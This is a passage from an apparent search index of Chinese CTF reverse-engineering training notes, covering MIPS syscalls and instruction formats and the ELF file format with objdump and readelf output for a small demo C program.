= \u8981\u6253\u5370\u7684\u6d6e\u70b9\u6570 print \u53cc\u7cbe\u5ea6\u6570 $v0
= 3 $f12
= \u8981\u6253\u5370\u7684\u53cc\u7cbe\u5ea6\u6570 print \u5b57\u7b26\u4e32 $v0
= 4 $a0
= \u8981\u6253\u5370\u7684\u5b57\u7b26\u4e32\u7684\u5730\u5740 \u8bfb\u53d6 ( read ) \u6574\u578b\u6570 $v0
= 5 $v0
= \u8bfb\u53d6\u7684\u6574\u578b\u6570 \u8bfb\u53d6 ( read ) \u6d6e\u70b9\u6570 $v0
= 6 $v0
= \u8bfb\u53d6\u7684\u6d6e\u70b9\u6570 \u8bfb\u53d6 ( read ) \u53cc\u7cbe\u5ea6\u6570 $v0
= 7 $v0
= \u8bfb\u53d6\u7684\u53cc\u7cbe\u5ea6 \u8bfb\u53d6 ( read ) \u5b57\u7b26\u4e32 $v0
= 8 \u5c06\u8bfb\u53d6\u7684\u5b57\u7b26\u4e32\u5730\u5740\u8d4b\u503c\u7ed9 $a0
; \u5c06\u8bfb\u53d6\u7684\u5b57\u7b26\u4e32\u957f\u5ea6\u8d4b\u503c\u7ed9 $a1
\u8fd9\u4e2a\u5e94\u8be5\u548c C \u8bed\u8a00\u7684 sbrk()
\u51fd\u6570\u4e00\u6837 $v0
= 9 \u9700\u8981\u5206\u914d\u7684\u7a7a\u95f4\u5927\u5c0f\uff08\u5355\u4f4d\u76ee\u6d4b\u662f\u5b57\u8282 bytes\uff09 \u5c06\u5206\u914d\u597d\u7684\u7a7a\u95f4\u9996\u5730\u5740\u7ed9 $v0
exit $v0
=10 \u8fd9\u4e2a\u8fd8\u8981\u8bf4\u5417.....= _ = print_string
\u5373 print \u5b57\u7b26\u4e32
\u670d\u52a1\u671f\u671b\u542f\u52a8\u4ee5 null \u7ed3\u5c3e\u7684\u5b57\u7b26\u4e32\u3002\u6307\u4ee4.asciiz
\u521b\u5efa\u4e00\u4e2a\u4ee5 null \u7ed3\u5c3e\u7684\u5b57\u7b26\u4e32\u3002read_int
\uff0cread_float
\u548c read_double
\u670d\u52a1\u8bfb\u53d6\u6574\u884c\u8f93\u5165\uff0c\u5305\u62ec\u6362\u884c\u7b26\\n
\u3002
read_string
\u670d\u52a1\u4e0e UNIX \u5e93\u4f8b\u7a0b fgets \u5177\u6709\u76f8\u540c\u7684\u8bed\u4e49\u3002
sbrk
\u670d\u52a1\u5c06\u5730\u5740\u8fd4\u56de\u5230\u5305\u542b n \u4e2a\u9644\u52a0\u5b57\u8282\u7684\u5185\u5b58\u5757\u3002\u8fd9\u5c06\u7528\u4e8e\u52a8\u6001\u5185\u5b58\u5206\u914d\u3002
\u9000\u51fa\u670d\u52a1\u4f7f\u7a0b\u5e8f\u505c\u6b62\u8fd0\u884c
\u4f8b\u5b50 : \u6253\u5370\u4e00\u4e2a\u5b58\u50a8\u5728 $2 \u7684\u6574\u578b\u6570
li $v0, 1 #\u58f0\u660e\u9700\u8981\u8c03\u7528\u7684\u64cd\u4f5c\u4ee3\u7801\u4e3a 1 ( print_int ), \u7136\u540e\u8d4b\u503c\u7ed9 $v0\n move $a0, $t2 #\u628a\u8fd9\u4e2a\u8981\u6253\u5370\u7684\u6574\u578b\u6570\u8d4b\u503c\u7ed9 $a0\n syscall #\u8ba9\u64cd\u4f5c\u7cfb\u7edf\u6267\u884c\u6211\u4eec\u7684\u64cd\u4f5c\n
masm li $v0, 5 #\u58f0\u660e\u9700\u8981\u8c03\u7528\u7684\u64cd\u4f5c\u4ee3\u7801\u4e3a 5 ( read_int ), \u7136\u540e\u8d4b\u503c\u7ed9 $v0 syscall #\u8ba9\u64cd\u4f5c\u7cfb\u7edf\u6267\u884c\u6211\u4eec\u7684\u64cd\u4f5c, \u7136\u540e $v0 = 5 sw $v0, int_value #\u901a\u8fc7\u5199\u5165\uff08store_word)\u6307\u4ee4 \u5c06 $v0 \u7684\u503c\uff085\uff09\u5b58\u5165\u5185\u5b58\u4e2d
.data\n string1 .asciiz \"Print this.\\n\" # \u5b57\u7b26\u4e32\u53d8\u91cf\u58f0\u660e\n # .asciiz \u6307\u4ee4\u4f7f\u5b57\u7b26\u4e32 null \u7ec8\u6b62\n\n .text\n main: li $v0, 4 # \u5c06\u9002\u5f53\u7684\u7cfb\u7edf\u8c03\u7528\u4ee3\u7801\u52a0\u8f7d\u5230\u5bc4\u5b58\u5668 $v0 \u4e2d\n # \u6253\u5370\u5b57\u7b26\u4e32\uff0c \u8d4b\u503c\u5bf9\u5e94\u7684\u64cd\u4f5c\u4ee3\u7801 $v0 = 4\n la $a0, string1 # \u5c06\u8981\u6253\u5370\u7684\u5b57\u7b26\u4e32\u5730\u5740\u8d4b\u503c $a0 = address(string1)\n syscall # \u8ba9\u64cd\u4f5c\u7cfb\u7edf\u6267\u884c\u6253\u5370\u64cd\u4f5c\n\n\n \u8981\u6307\u793a\u7a0b\u5e8f\u7ed3\u675f, \u5e94\u8be5\u9000\u51fa\u7cfb\u7edf\u8c03\u7528, \u6240\u4ee5\u6700\u540e\u4e00\u884c\u4ee3\u7801\u5e94\u8be5\u662f\u8fd9\u4e2a :\n li $v0, 10\u3000\u3000\u3000 #\u5bf9\u7740\u4e0a\u9762\u7684\u8868, \u4e0d\u7528\u8bf4\u4e86\u5427\n syscall # \u8ba9\u64cd\u4f5c\u7cfb\u7edf\u7ed3\u675f\u8fd9\u4e00\u5207\u5427 !\n
"},{"location":"Training/Material/Reverse/#mips","title":"\u8865\u5145 : MIPS \u6307\u4ee4\u683c\u5f0f","text":"\u7528\u5904\uff1a \u5bc4\u5b58\u5668 - \u5bc4\u5b58\u5668 ALU \u64cd\u4f5c \u8bfb\u5199\u4e13\u7528\u5bc4\u5b58\u5668
\u7528\u5904\uff1a \u52a0\u8f7d/\u5b58\u50a8 \u5b57\u8282\uff0c\u534a\u5b57\uff0c\u5b57\uff0c\u53cc\u5b57 \u6761\u4ef6\u5206\u652f\uff0c\u8df3\u8f6c\uff0c\u8df3\u8f6c\u5e76\u94fe\u63a5\u5bc4\u5b58\u5668
\u7528\u5904\uff1a \u8df3\u8f6c\uff0c\u8df3\u8f6c\u5e76\u94fe\u63a5 \u9677\u9631\u548c\u4ece\u5f02\u5e38\u4e2d\u8fd4\u56de
\u5404\u5b57\u6bb5\u542b\u4e49\uff1a op : \u6307\u4ee4\u57fa\u672c\u64cd\u4f5c\uff0c\u79f0\u4e3a\u64cd\u4f5c\u7801\u3002 rs : \u7b2c\u4e00\u4e2a\u6e90\u64cd\u4f5c\u6570\u5bc4\u5b58\u5668\u3002 rt : \u7b2c\u4e8c\u4e2a\u6e90\u64cd\u4f5c\u6570\u5bc4\u5b58\u5668\u3002 rd : \u5b58\u653e\u64cd\u4f5c\u7ed3\u679c\u7684\u76ee\u7684\u64cd\u4f5c\u6570\u3002 shamt : \u4f4d\u79fb\u91cf\uff1b funct : \u51fd\u6570\uff0c\u8fd9\u4e2a\u5b57\u6bb5\u9009\u62e9 op \u64cd\u4f5c\u7684\u67d0\u4e2a\u7279\u5b9a\u53d8\u4f53\u3002
\u4f8b\uff1a
add $t0,$s0,$s1\n
\u8868\u793a$t0=$s0+$s1
,\u5373 16 \u53f7\u5bc4\u5b58\u5668\uff08 s0 ) \u7684\u5185\u5bb9\u548c 17 \u53f7\u5bc4\u5b58\u5668 ( s1 ) \u7684\u5185\u5bb9\u76f8\u52a0\uff0c\u7ed3\u679c\u653e\u5230 8 \u53f7\u5bc4\u5b58\u5668 ( t0 )\u3002 \u6307\u4ee4\u5404\u5b57\u6bb5\u7684\u5341\u8fdb\u5236\u8868\u793a\u4e3a\uff1a
op = 0 \u548c funct = 32 \u8868\u793a\u8fd9\u662f\u52a0\u6cd5\uff0c 16 = $s0
\u8868\u793a\u7b2c\u4e00\u4e2a\u6e90\u64cd\u4f5c\u6570 ( rs ) \u5728 16 \u53f7\u5bc4\u5b58\u5668\u91cc\uff0c
17 = $s1
\u8868\u793a\u7b2c\u4e8c\u4e2a\u6e90\u64cd\u4f5c\u6570 ( rt ) \u5728 17 \u53f7\u5bc4\u5b58\u5668\u91cc\uff0c 8 = $t0
\u8868\u793a\u76ee\u7684\u64cd\u4f5c\u6570 ( rd ) \u5728 8 \u53f7\u5bc4\u5b58\u5668\u91cc\u3002 \u628a\u5404\u5b57\u6bb5\u5199\u6210\u4e8c\u8fdb\u5236\uff0c\u4e3a\uff1a
\u8fd9\u5c31\u662f\u4e0a\u8ff0\u6307\u4ee4\u7684\u673a\u5668\u7801\uff08 machine code ), \u53ef\u4ee5\u770b\u51fa\u662f\u5f88\u6709\u89c4\u5219\u6027\u7684\u3002
"},{"location":"Training/Material/Reverse/#mips_1","title":"\u8865\u5145 : MIPS \u5e38\u7528\u6307\u4ee4\u96c6","text":"lb/lh/lw : \u4ece\u5b58\u50a8\u5668\u4e2d\u8bfb\u53d6\u4e00\u4e2a byte / half word / word \u7684\u6570\u636e\u5230\u5bc4\u5b58\u5668\u4e2d.
\u5982lb $1, 0($2)
sb/sh/sw : \u628a\u4e00\u4e2a byte / half word / word \u7684\u6570\u636e\u4ece\u5bc4\u5b58\u5668\u5b58\u50a8\u5230\u5b58\u50a8\u5668\u4e2d.
\u5982 sb $1, 0($2)
add/addu : \u628a\u4e24\u4e2a\u5b9a\u70b9\u5bc4\u5b58\u5668\u7684\u5185\u5bb9\u76f8\u52a0
add $1,$2,$3($1=$2+$3)
; u \u4e3a\u4e0d\u5e26\u7b26\u53f7\u52a0
addi/addiu : \u628a\u4e00\u4e2a\u5bc4\u5b58\u5668\u7684\u5185\u5bb9\u52a0\u4e0a\u4e00\u4e2a\u7acb\u5373\u6570
add $1,$2,#3($1=$2+3)
; u \u4e3a\u4e0d\u5e26\u7b26\u53f7\u52a0 sub/subu \uff1a\u628a\u4e24\u4e2a\u5b9a\u70b9\u5bc4\u5b58\u5668\u7684\u5185\u5bb9\u76f8\u51cf div/divu : \u4e24\u4e2a\u5b9a\u70b9\u5bc4\u5b58\u5668\u7684\u5185\u5bb9\u76f8\u9664 mul/mulu : \u4e24\u4e2a\u5b9a\u70b9\u5bc4\u5b58\u5668\u7684\u5185\u5bb9\u76f8\u4e58 and/andi : \u4e0e\u8fd0\u7b97\uff0c\u4e24\u4e2a\u5bc4\u5b58\u5668\u4e2d\u7684\u5185\u5bb9\u76f8\u4e0e
and $1,$2,$3($1=$2 & $3)
;i\u4e3a\u7acb\u5373\u6570\u3002 or/ori : \u6216\u8fd0\u7b97\u3002 xor/xori : \u5f02\u6216\u8fd0\u7b97\u3002 beq/beqz/benz/bne : \u6761\u4ef6\u8f6c\u79fb eq \u76f8\u7b49\uff0cz \u96f6\uff0cne \u4e0d\u7b49 j/jr/jal/jalr : j \u76f4\u63a5\u8df3\u8f6c\uff1bjr \u4f7f\u7528\u5bc4\u5b58\u5668\u8df3\u8f6c lui : \u628a\u4e00\u4e2a 16 \u4f4d\u7684\u7acb\u5373\u6570\u586b\u5165\u5230\u5bc4\u5b58\u5668\u7684\u9ad8 16 \u4f4d\uff0c\u4f4e 16 \u4f4d\u8865\u96f6 sll/srl : \u903b\u8f91 \u5de6\u79fb / \u53f3\u79fb
sll $1,$2,#2
slt/slti/sltui : \u5982\u679c $2
\u7684\u503c\u5c0f\u4e8e $3
\uff0c\u90a3\u4e48\u8bbe\u7f6e $1
\u7684\u503c\u4e3a 1,\u5426\u5219\u8bbe\u7f6e $1
\u7684\u503c\u4e3a 0
slt $1,$2,$3
mov/movz/movn : \u590d\u5236\uff0cn \u4e3a\u8d1f\uff0cz \u4e3a\u96f6
mov $1,$2; movz $1,$2,$3
( $3
\u4e3a\u96f6\u5219\u590d\u5236 $2
\u5230 $1
) trap : \u6839\u636e\u5730\u5740\u5411\u91cf\u8f6c\u5165\u7ba1\u6001 eret : \u4ece\u5f02\u5e38\u4e2d\u8fd4\u56de\u5230\u7528\u6237\u6001
\u5728 1.5.1\u8282 C\u8bed\u8a00\u57fa\u7840 \u4e2d\u6211\u4eec\u770b\u5230\u4e86\u4ece\u6e90\u4ee3\u7801\u5230\u53ef\u6267\u884c\u6587\u4ef6\u7684\u5168\u8fc7\u7a0b\uff0c\u73b0\u5728\u6211\u4eec\u6765\u770b\u4e00\u4e2a\u66f4\u590d\u6742\u7684\u4f8b\u5b50\u3002
#include<stdio.h>\n\nint global_init_var = 10;\nint global_uninit_var;\n\nvoid func(int sum) {\n printf(\"%d\\n\", sum);\n}\n\nvoid main(void) {\n static int local_static_init_var = 20;\n static int local_static_uninit_var;\n\n int local_init_val = 30;\n int local_uninit_var;\n\n func(global_init_var + local_init_val +\n local_static_init_var );\n}\n
\u7136\u540e\u5206\u522b\u6267\u884c\u4e0b\u5217\u547d\u4ee4\u751f\u6210\u4e09\u4e2a\u6587\u4ef6\uff1a
gcc -m32 -c elfDemo.c -o elfDemo.o\n\ngcc -m32 elfDemo.c -o elfDemo.out\n\ngcc -m32 -static elfDemo.c -o elfDemo_static.out\n
\u4f7f\u7528 ldd \u547d\u4ee4\u6253\u5370\u6240\u4f9d\u8d56\u7684\u5171\u4eab\u5e93\uff1a
$ ldd elfDemo.out\n linux-gate.so.1 (0xf77b1000)\n libc.so.6 => /usr/lib32/libc.so.6 (0xf7597000)\n /lib/ld-linux.so.2 => /usr/lib/ld-linux.so.2 (0xf77b3000)\n$ ldd elfDemo_static.out\n not a dynamic executable\n
elfDemo_static.out \u91c7\u7528\u4e86\u9759\u6001\u94fe\u63a5\u7684\u65b9\u5f0f\u3002
\u4f7f\u7528 file \u547d\u4ee4\u67e5\u770b\u76f8\u5e94\u7684\u6587\u4ef6\u683c\u5f0f\uff1a
$ file elfDemo.o\nelfDemo.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped\n\n$ file elfDemo.out\nelfDemo.out: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=50036015393a99344897cbf34099256c3793e172, not stripped\n\n$ file elfDemo_static.out\nelfDemo_static.out: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=276c839c20b4c187e4b486cf96d82a90c40f4dae, not stripped\n\n$ file -L /usr/lib32/libc.so.6\n/usr/lib32/libc.so.6: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib32/ld-linux.so.2, BuildID[sha1]=ee88d1b2aa81f104ab5645d407e190b244203a52, for GNU/Linux 3.2.0, not stripped\n
\u4e8e\u662f\u6211\u4eec\u5f97\u5230\u4e86 Linux \u53ef\u6267\u884c\u6587\u4ef6\u683c\u5f0f ELF \uff08Executable Linkable Format\uff09\u6587\u4ef6\u7684\u4e09\u79cd\u7c7b\u578b\uff1a
libc-2.25.so
\u6b64\u65f6\u4ed6\u4eec\u7684\u7ed3\u6784\u5982\u56fe\uff1a
\u53ef\u4ee5\u770b\u5230\uff0c\u5728\u8fd9\u4e2a\u7b80\u5316\u7684 ELF \u6587\u4ef6\u4e2d\uff0c\u5f00\u5934\u662f\u4e00\u4e2a\u201c\u6587\u4ef6\u5934\u201d\uff0c\u4e4b\u540e\u5206\u522b\u662f\u4ee3\u7801\u6bb5\u3001\u6570\u636e\u6bb5\u548c.bss\u6bb5\u3002\u7a0b\u5e8f\u6e90\u4ee3\u7801\u7f16\u8bd1\u540e\uff0c\u6267\u884c\u8bed\u53e5\u53d8\u6210\u673a\u5668\u6307\u4ee4\uff0c\u4fdd\u5b58\u5728.text
\u6bb5\uff1b\u5df2\u521d\u59cb\u5316\u7684\u5168\u5c40\u53d8\u91cf\u548c\u5c40\u90e8\u9759\u6001\u53d8\u91cf\u90fd\u4fdd\u5b58\u5728.data
\u6bb5\uff1b\u672a\u521d\u59cb\u5316\u7684\u5168\u5c40\u53d8\u91cf\u548c\u5c40\u90e8\u9759\u6001\u53d8\u91cf\u5219\u653e\u5728.bss
\u6bb5\u3002
\u628a\u7a0b\u5e8f\u6307\u4ee4\u548c\u7a0b\u5e8f\u6570\u636e\u5206\u5f00\u5b58\u653e\u6709\u8bb8\u591a\u597d\u5904\uff0c\u4ece\u5b89\u5168\u7684\u89d2\u5ea6\u8bb2\uff0c\u5f53\u7a0b\u5e8f\u88ab\u52a0\u8f7d\u540e\uff0c\u6570\u636e\u548c\u6307\u4ee4\u5206\u522b\u88ab\u6620\u5c04\u5230\u4e24\u4e2a\u865a\u62df\u533a\u57df\u3002\u7531\u4e8e\u6570\u636e\u533a\u57df\u5bf9\u4e8e\u8fdb\u7a0b\u6765\u8bf4\u662f\u53ef\u8bfb\u5199\u7684\uff0c\u800c\u6307\u4ee4\u533a\u57df\u5bf9\u4e8e\u8fdb\u7a0b\u6765\u8bf4\u662f\u53ea\u8bfb\u7684\uff0c\u6240\u4ee5\u8fd9\u4e24\u4e2a\u865a\u5b58\u533a\u57df\u7684\u6743\u9650\u53ef\u4ee5\u88ab\u5206\u522b\u8bbe\u7f6e\u6210\u53ef\u8bfb\u5199\u548c\u53ea\u8bfb\uff0c\u53ef\u4ee5\u9632\u6b62\u7a0b\u5e8f\u7684\u6307\u4ee4\u88ab\u6539\u5199\u548c\u5229\u7528\u3002
"},{"location":"Training/Material/Reverse/#elfdemoo","title":"elfDemo.o","text":"\u63a5\u4e0b\u6765\uff0c\u6211\u4eec\u66f4\u6df1\u5165\u5730\u63a2\u7d22\u76ee\u6807\u6587\u4ef6\uff0c\u4f7f\u7528 objdump \u6765\u67e5\u770b\u76ee\u6807\u6587\u4ef6\u7684\u5185\u90e8\u7ed3\u6784:
$ objdump -h elfDemo.o\n\nelfDemo.o: file format elf32-i386\n\nSections:\nIdx Name Size VMA LMA File off Algn\n 0 .group 00000008 00000000 00000000 00000034 2**2\n CONTENTS, READONLY, GROUP, LINK_ONCE_DISCARD\n 1 .text 00000078 00000000 00000000 0000003c 2**0\n CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE\n 2 .data 00000008 00000000 00000000 000000b4 2**2\n CONTENTS, ALLOC, LOAD, DATA\n 3 .bss 00000004 00000000 00000000 000000bc 2**2\n ALLOC\n 4 .rodata 00000004 00000000 00000000 000000bc 2**0\n CONTENTS, ALLOC, LOAD, READONLY, DATA\n 5 .text.__x86.get_pc_thunk.ax 00000004 00000000 00000000 000000c0 2**0\n CONTENTS, ALLOC, LOAD, READONLY, CODE\n 6 .comment 00000012 00000000 00000000 000000c4 2**0\n CONTENTS, READONLY\n 7 .note.GNU-stack 00000000 00000000 00000000 000000d6 2**0\n CONTENTS, READONLY\n 8 .eh_frame 0000007c 00000000 00000000 000000d8 2**2\n CONTENTS, ALLOC, LOAD, RELOC, READONLY, DATA\n
\u53ef\u4ee5\u770b\u5230\u76ee\u6807\u6587\u4ef6\u4e2d\u9664\u4e86\u6700\u57fa\u672c\u7684\u4ee3\u7801\u6bb5\u3001\u6570\u636e\u6bb5\u548c BSS \u6bb5\u4ee5\u5916\uff0c\u8fd8\u6709\u4e00\u4e9b\u522b\u7684\u6bb5\u3002\u6ce8\u610f\u5230 .bss \u6bb5\u6ca1\u6709 CONTENTS
\u5c5e\u6027\uff0c\u8868\u793a\u5b83\u5b9e\u9645\u4e0a\u5e76\u4e0d\u5b58\u5728\uff0c.bss \u6bb5\u53ea\u662f\u4e3a\u4e3a\u672a\u521d\u59cb\u5316\u7684\u5168\u5c40\u53d8\u91cf\u548c\u5c40\u90e8\u9759\u6001\u53d8\u91cf\u9884\u7559\u4e86\u4f4d\u7f6e\u800c\u5df2\u3002
$ objdump -x -s -d elfDemo.o\n......\nSections:\nIdx Name Size VMA LMA File off Algn\n\n......\n\n 1 .text 00000078 00000000 00000000 0000003c 2**0\n CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE\n......\nContents of section .text:\n 0000 5589e553 83ec04e8 fcffffff 05010000 U..S............\n 0010 0083ec08 ff75088d 90000000 005289c3 .....u.......R..\n 0020 e8fcffff ff83c410 908b5dfc c9c38d4c ..........]....L\n 0030 240483e4 f0ff71fc 5589e551 83ec14e8 $.....q.U..Q....\n 0040 fcffffff 05010000 00c745f4 1e000000 ..........E.....\n 0050 8b880000 00008b55 f401ca8b 80040000 .......U........\n 0060 0001d083 ec0c50e8 fcffffff 83c41090 ......P.........\n 0070 8b4dfcc9 8d61fcc3 .M...a..\n......\nDisassembly of section .text:\n\n00000000 <func>:\n 0: 55 push %ebp\n 1: 89 e5 mov %esp,%ebp\n 3: 53 push %ebx\n 4: 83 ec 04 sub $0x4,%esp\n 7: e8 fc ff ff ff call 8 <func+0x8>\n 8: R_386_PC32 __x86.get_pc_thunk.ax\n c: 05 01 00 00 00 add $0x1,%eax\n d: R_386_GOTPC _GLOBAL_OFFSET_TABLE_\n 11: 83 ec 08 sub $0x8,%esp\n 14: ff 75 08 pushl 0x8(%ebp)\n 17: 8d 90 00 00 00 00 lea 0x0(%eax),%edx\n 19: R_386_GOTOFF .rodata\n 1d: 52 push %edx\n 1e: 89 c3 mov %eax,%ebx\n 20: e8 fc ff ff ff call 21 <func+0x21>\n 21: R_386_PLT32 printf\n 25: 83 c4 10 add $0x10,%esp\n 28: 90 nop\n 29: 8b 5d fc mov -0x4(%ebp),%ebx\n 2c: c9 leave \n 2d: c3 ret\n\n0000002e <main>:\n 2e: 8d 4c 24 04 lea 0x4(%esp),%ecx\n 32: 83 e4 f0 and $0xfffffff0,%esp\n 35: ff 71 fc pushl -0x4(%ecx)\n 38: 55 push %ebp\n 39: 89 e5 mov %esp,%ebp\n 3b: 51 push %ecx\n 3c: 83 ec 14 sub $0x14,%esp\n 3f: e8 fc ff ff ff call 40 <main+0x12>\n 40: R_386_PC32 __x86.get_pc_thunk.ax\n 44: 05 01 00 00 00 add $0x1,%eax\n 45: R_386_GOTPC _GLOBAL_OFFSET_TABLE_\n 49: c7 45 f4 1e 00 00 00 movl $0x1e,-0xc(%ebp)\n 50: 8b 88 00 00 00 00 mov 0x0(%eax),%ecx\n 52: R_386_GOTOFF global_init_var\n 56: 8b 55 f4 mov -0xc(%ebp),%edx\n 59: 01 ca add %ecx,%edx\n 5b: 8b 80 04 00 00 00 mov 0x4(%eax),%eax\n 5d: R_386_GOTOFF .data\n 61: 01 d0 add %edx,%eax\n 63: 83 ec 0c sub $0xc,%esp\n 66: 50 push %eax\n 67: e8 fc ff ff ff call 68 <main+0x3a>\n 68: R_386_PC32 func\n 6c: 83 c4 10 add $0x10,%esp\n 6f: 90 nop\n 70: 8b 4d fc mov -0x4(%ebp),%ecx\n 73: c9 leave \n 74: 8d 61 fc lea -0x4(%ecx),%esp\n 77: c3 ret\n
Contents of section .text
\u662f .text
\u7684\u6570\u636e\u7684\u5341\u516d\u8fdb\u5236\u5f62\u5f0f\uff0c\u603b\u5171 0x78 \u4e2a\u5b57\u8282\uff0c\u6700\u5de6\u8fb9\u4e00\u5217\u662f\u504f\u79fb\u91cf\uff0c\u4e2d\u95f4 4 \u5217\u662f\u5185\u5bb9\uff0c\u6700\u53f3\u8fb9\u4e00\u5217\u662f ASCII \u7801\u5f62\u5f0f\u3002\u4e0b\u9762\u7684 Disassembly of section .text
\u662f\u53cd\u6c47\u7f16\u7ed3\u679c\u3002
......\nSections:\nIdx Name Size VMA LMA File off Algn\n 2 .data 00000008 00000000 00000000 000000b4 2**2\n CONTENTS, ALLOC, LOAD, DATA\n 4 .rodata 00000004 00000000 00000000 000000bc 2**0\n CONTENTS, ALLOC, LOAD, READONLY, DATA\n......\nContents of section .data:\n 0000 0a000000 14000000 ........\nContents of section .rodata:\n 0000 25640a00 %d..\n.......\n
.data
\u6bb5\u4fdd\u5b58\u5df2\u7ecf\u521d\u59cb\u5316\u4e86\u7684\u5168\u5c40\u53d8\u91cf\u548c\u5c40\u90e8\u9759\u6001\u53d8\u91cf\u3002elfDemo.c
\u4e2d\u5171\u6709\u4e24\u4e2a\u8fd9\u6837\u7684\u53d8\u91cf\uff0cglobal_init_var
\u548c local_static_init_var
\uff0c\u6bcf\u4e2a\u53d8\u91cf 4 \u4e2a\u5b57\u8282\uff0c\u4e00\u5171 8 \u4e2a\u5b57\u8282\u3002\u7531\u4e8e\u5c0f\u7aef\u5e8f\u7684\u539f\u56e0\uff0c0a000000
\u8868\u793a global_init_var
\u503c\uff0810
\uff09\u7684\u5341\u516d\u8fdb\u5236 0x0a
\uff0c14000000
\u8868\u793a local_static_init_var
\u503c\uff0820
\uff09\u7684\u5341\u516d\u8fdb\u5236 0x14
\u3002
.rodata
\u6bb5\u4fdd\u5b58\u53ea\u8bfb\u6570\u636e\uff0c\u5305\u62ec\u53ea\u8bfb\u53d8\u91cf\u548c\u5b57\u7b26\u4e32\u5e38\u91cf\u3002elfDemo.c
\u4e2d\u8c03\u7528 printf
\u7684\u65f6\u5019\uff0c\u7528\u5230\u4e86\u4e00\u4e2a\u5b57\u7b26\u4e32\u53d8\u91cf %d\\n
\uff0c\u5b83\u662f\u4e00\u79cd\u53ea\u8bfb\u6570\u636e\uff0c\u4fdd\u5b58\u5728 .rodata
\u6bb5\u4e2d\uff0c\u53ef\u4ee5\u4ece\u8f93\u51fa\u7ed3\u679c\u770b\u5230\u5b57\u7b26\u4e32\u5e38\u91cf\u7684 ASCII \u5f62\u5f0f\uff0c\u4ee5 \\0
\u7ed3\u5c3e\u3002
Sections:\nIdx Name Size VMA LMA File off Algn\n 3 .bss 00000004 00000000 00000000 000000bc 2**2\n ALLOC\n
.bss
\u6bb5\u4fdd\u5b58\u672a\u521d\u59cb\u5316\u7684\u5168\u5c40\u53d8\u91cf\u548c\u5c40\u90e8\u9759\u6001\u53d8\u91cf\u3002
\u5bf9\u8c61\u6587\u4ef6\u53c2\u4e0e\u7a0b\u5e8f\u94fe\u63a5\uff08\u6784\u5efa\u7a0b\u5e8f\uff09\u548c\u7a0b\u5e8f\u6267\u884c\uff08\u8fd0\u884c\u7a0b\u5e8f\uff09\u3002ELF \u7ed3\u6784\u51e0\u76f8\u5173\u4fe1\u606f\u5728 /usr/include/elf.h
\u3000\u6587\u4ef6\u4e2d\u3002
ELF \u6587\u4ef6\u5934\u5fc5\u7136\u5b58\u5728\u4e8e ELF \u6587\u4ef6\u7684\u5f00\u5934\uff0c\u8868\u660e\u8fd9\u662f\u4e00\u4e2a ELF \u6587\u4ef6\u3002\u5b9a\u4e49\u5982\u4e0b\uff1a
typedef struct\n{\n unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */\n Elf32_Half e_type; /* Object file type */\n Elf32_Half e_machine; /* Architecture */\n Elf32_Word e_version; /* Object file version */\n Elf32_Addr e_entry; /* Entry point virtual address */\n Elf32_Off e_phoff; /* Program header table file offset */\n Elf32_Off e_shoff; /* Section header table file offset */\n Elf32_Word e_flags; /* Processor-specific flags */\n Elf32_Half e_ehsize; /* ELF header size in bytes */\n Elf32_Half e_phentsize; /* Program header table entry size */\n Elf32_Half e_phnum; /* Program header table entry count */\n Elf32_Half e_shentsize; /* Section header table entry size */\n Elf32_Half e_shnum; /* Section header table entry count */\n Elf32_Half e_shstrndx; /* Section header string table index */\n} Elf32_Ehdr;\n\ntypedef struct\n{\n unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */\n Elf64_Half e_type; /* Object file type */\n Elf64_Half e_machine; /* Architecture */\n Elf64_Word e_version; /* Object file version */\n Elf64_Addr e_entry; /* Entry point virtual address */\n Elf64_Off e_phoff; /* Program header table file offset */\n Elf64_Off e_shoff; /* Section header table file offset */\n Elf64_Word e_flags; /* Processor-specific flags */\n Elf64_Half e_ehsize; /* ELF header size in bytes */\n Elf64_Half e_phentsize; /* Program header table entry size */\n Elf64_Half e_phnum; /* Program header table entry count */\n Elf64_Half e_shentsize; /* Section header table entry size */\n Elf64_Half e_shnum; /* Section header table entry count */\n Elf64_Half e_shstrndx; /* Section header string table index */\n} Elf64_Ehdr;\n
e_ident
\u4fdd\u5b58\u7740 ELF \u7684\u5e7b\u6570\u548c\u5176\u4ed6\u4fe1\u606f\uff0c\u6700\u524d\u9762\u56db\u4e2a\u5b57\u8282\u662f\u5e7b\u6570\uff0c\u7528\u5b57\u7b26\u4e32\u8868\u793a\u4e3a \\177ELF
\uff0c\u5176\u540e\u7684\u5b57\u8282\u5982\u679c\u662f 32 \u4f4d\u5219\u662f ELFCLASS32 (1)\uff0c\u5982\u679c\u662f 64 \u4f4d\u5219\u662f ELFCLASS64 (2)\uff0c\u518d\u5176\u540e\u7684\u5b57\u8282\u8868\u793a\u7aef\u5e8f\uff0c\u5c0f\u7aef\u5e8f\u4e3a ELFDATA2LSB (1)\uff0c\u5927\u7aef\u5e8f\u4e3a ELFDATA2LSB (2)\u3002\u6700\u540e\u4e00\u4e2a\u5b57\u8282\u5219\u8868\u793a ELF \u7684\u7248\u672c\u3002
\u73b0\u5728\u6211\u4eec\u4f7f\u7528 readelf \u547d\u4ee4\u6765\u67e5\u770b elfDome.out \u7684\u6587\u4ef6\u5934\uff1a
$ readelf -h elfDemo.out\nELF Header:\n Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00\n Class: ELF32\n Data: 2's complement, little endian\n Version: 1 (current)\n OS/ABI: UNIX - System V\n ABI Version: 0\n Type: DYN (Shared object file)\n Machine: Intel 80386\n Version: 0x1\n Entry point address: 0x3e0\n Start of program headers: 52 (bytes into file)\n Start of section headers: 6288 (bytes into file)\n Flags: 0x0\n Size of this header: 52 (bytes)\n Size of program headers: 32 (bytes)\n Number of program headers: 9\n Size of section headers: 40 (bytes)\n Number of section headers: 30\n Section header string table index: 29\n
"},{"location":"Training/Material/Reverse/#_29","title":"\u7a0b\u5e8f\u5934","text":"\u7a0b\u5e8f\u5934\u8868\u662f\u7531 ELF \u5934\u7684 e_phoff
